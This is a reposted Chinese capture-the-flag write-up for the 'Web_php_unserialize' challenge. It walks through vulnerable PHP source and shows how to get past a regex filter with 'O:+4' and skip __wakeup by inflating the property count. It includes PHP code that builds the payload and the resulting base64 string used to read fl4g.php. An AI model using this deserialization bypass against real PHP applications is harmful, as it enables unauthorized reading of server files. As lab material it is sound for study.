做正直的人不易 發表於 2020-5-29 17:55:00

Web_php_unserialize

<h2 id="知识点">知识点:</h2>
<h2 id="1__construct当对象创建new时会自动调用但在-unserialize-时是不会自动调用的构造函数">1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)</h2>
<h2 id="2__destruct当对象被销毁时会自动调用析构函数">2、__destruct():当对象被销毁时会自动调用。(析构函数)</h2>
<h2 id="3__wakeupunserialize-时会自动调用">3、__wakeup():unserialize() 时会自动调用</h2>
<p>。</p>
<p>首先拿到题目看到给出一段PHP源码</p>
<pre><code class="language-php">&lt;?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
      $this-&gt;file = $file;
    }
    function __destruct() {
      echo @highlight_file($this-&gt;file, true);
    }
    function __wakeup() {
      if ($this-&gt;file != 'index.php') {
            //the secret is in the fl4g.php
            $this-&gt;file = 'index.php';
      }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/:\d+:/i', $var)) {
      die('stop hacking!');
    } else {
      @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?&gt;
</code></pre>
<h1 id="0x01源码分析">0x01源码分析</h1>
<p>首先它定义了一个Demo类,然后发现初始化改变file值,而且,源码中有这么一段注释:</p>
<pre><code class="language-PHP">//the secret is in the fl4g.php
</code></pre>
<p>告诉我们,这个flag在fl4g.php这个页面中,在</p>
<pre><code class="language-PHP">function __destruct() {
      echo @highlight_file($this-&gt;file, true);
    }
</code></pre>
<p>中,如果Demo类被销毁,那么就会高亮显示file所指向的文件的内容。</p>
<p>那么Demo中还有一个函数就是_wakeup(),这个函数作用就是反序列化时,会自动执行,所以,要想反序列化,那么必须要绕过这个函数。</p>
<pre><code class="language-php">if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/:\d+:/i', $var)) {
      die('stop hacking!');
    } else {
      @unserialize($var);
    }
} else {
    highlight_file("index.php");
}
?&gt;
</code></pre>
<p>这里进行了变量的传入,使用的方法是GET传参,源码分析:</p>
<p>1.首先base64加密</p>
<p>2.使用了preg_match()匹配函数,如果匹配上了,就结束,否则</p>
<pre><code class="language-php">@unserialize($var);
</code></pre>
<p>所以这里要想办法绕过这个匹配函数</p>
<h1 id="0x02解题过程">0x02解题过程</h1>
<p>通过上述源码分析,我们要干下面几件事</p>
<p>1.preg_match()匹配绕过</p>
<p>2.unserialize() 反序列化执行_wakeup()的绕过</p>
<pre><code class="language-php">preg_match('/:\d+:/i', $var)
</code></pre>
<p>preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写</p>
<p>接下来我们将所给的类反序列化:</p>
<p>"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"</p>
<p>为了绕过匹配,将4改为+4即可</p>
<p>当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。为了绕过__wakeup(),我们将1改为任意大于1的都行</p>
<p>"O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"</p>
<p>"O:+4:"Demo":3:{s:10:"Demofile";s:8:"fl4g.php";}"</p>
<p>反序列化代码:</p>
<pre><code class="language-php">&lt;?php
class Demo {
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?&gt;
</code></pre>
<p>结果:</p>
<p>TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==</p>
<p>传参给var即可得到flag</p>
<p><img src="https://img-blog.csdnimg.cn/20200525001706210.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L25pY2VzYQ==,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述" loading="lazy"></p><br><br>
来源:https://www.cnblogs.com/Jleixin/p/12988831.html
頁: [1]
查看完整版本: Web_php_unserialize